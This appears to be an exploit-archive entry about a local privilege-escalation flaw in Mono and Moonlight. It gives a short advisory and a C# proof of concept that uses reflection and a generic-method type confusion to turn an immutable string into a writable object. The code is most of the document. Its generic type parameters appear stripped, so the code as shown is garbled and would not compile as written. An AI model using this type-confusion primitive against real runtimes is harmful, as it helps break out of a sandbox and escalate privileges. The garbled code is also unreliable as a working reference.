Sources: https://www.chrishowie.com/2010/11/24/mutable-strings-in-mono/ https://www.securityfocus.com/bid/45051/info Mono and Moonlight is prone to a local privilege-escalation vulnerability. Local attackers can exploit this issue to execute arbitrary code with elevated privileges. Successful exploits will compromise the affected application and possibly the underlying computer. PoC: using System; using System.Reflection; public class FakeString { public int length; public char start_char; } public class TestCase { private static FakeString UnsafeConversion(T thing) where T : FakeString { return thing; } public static void Main() { var a = "foo"; var b = MakeMutable(a); Console.WriteLine(a); b.start_char = 'b'; Console.WriteLine(a); } private static FakeString MakeMutable(string s) { var m = typeof(TestCase).GetMethod("UnsafeConversion", BindingFlags.NonPublic | BindingFlags.Static); var m2 = m.MakeGenericMethod(typeof(string)); var d = (Func)Delegate.CreateDelegate(typeof(Func), null, m2); return d(s); } }